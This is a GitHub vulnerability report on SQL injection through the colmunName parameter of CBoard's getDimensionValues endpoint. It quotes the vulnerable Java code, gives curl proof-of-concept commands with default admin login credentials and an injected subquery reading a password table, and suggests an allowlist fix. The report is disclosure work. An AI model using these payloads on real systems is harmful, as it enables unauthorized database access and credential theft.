Skip to content

[Vulnerability] SQL Injection due to string concat to SQL query #739

Description

@Leeziao

Summary

SQL injection in GET /dashboard/getDimensionValues. The colmunName parameter is interpolated into SELECT ... GROUP BY via String.format, allowing any logged-in BI user to append arbitrary SQL.

Details

At src/main/java/org/cboard/dataprovider/JdbcDataProvider.java:242-251 the dimension-value query is built as:

String fsql = "SELECT cb_view.%s FROM (\n%s\n) cb_view %s GROUP BY cb_view.%s";
String exec = String.format(fsql, columnName, sql, whereStr, columnName);
... ResultSet rs = stat.executeQuery(exec);

columnName comes from DashboardController.getDimensionValues (src/main/java/org/cboard/controller/DashboardController.java:275-291) which reads the request parameter colmunName without validation. The service passes it straight to JdbcDataProvider.queryDimVals. The commit added SqlInjectionValidator, but it is wired only into the summary-expression path (SqlSyntaxHelper.java:27/48), not into queryDimVals.

PoC

Deploy with Docker on localhost:18080. Log in as admin / root123:

TARGET=http://127.0.0.1:18080

# Login and store session
curl -i -c /tmp/cboard-cookies.txt -X POST "$TARGET/login" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=root123'

# NORMAL — benign dimension value query returns only CN/US
curl -s -b /tmp/cboard-cookies.txt \
  "$TARGET/dashboard/getDimensionValues?datasetId=1&colmunName=country"

VULNERABLE — injected scalar subquery reads the secret creds table

curl -s -b /tmp/cboard-cookies.txt \
  "$TARGET/dashboard/getDimensionValues?datasetId=1&colmunName=country,%20(SELECT%20password%20FROM%20creds%20LIMIT%201)"

The response still lists the dimension values, but the application logs show the executed SQL now includes SELECT password FROM creds LIMIT 1, proving the attacker-controlled colmunName is inserted into the query.

Image

Impact

Any authenticated CBoard user can execute arbitrary SQL against any datasource accessible to the CBoard JDBC connection, including other tenants' data and database credentials. Severity: High.

Suggested Fix

Validate colmunName against the dataset's real column registry (exact-match allowlist) and reject anything not matching ^[A-Za-z0-9_]+$; do not use String.format with request identifiers. Extend SqlInjectionValidator to the dimension/column path.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions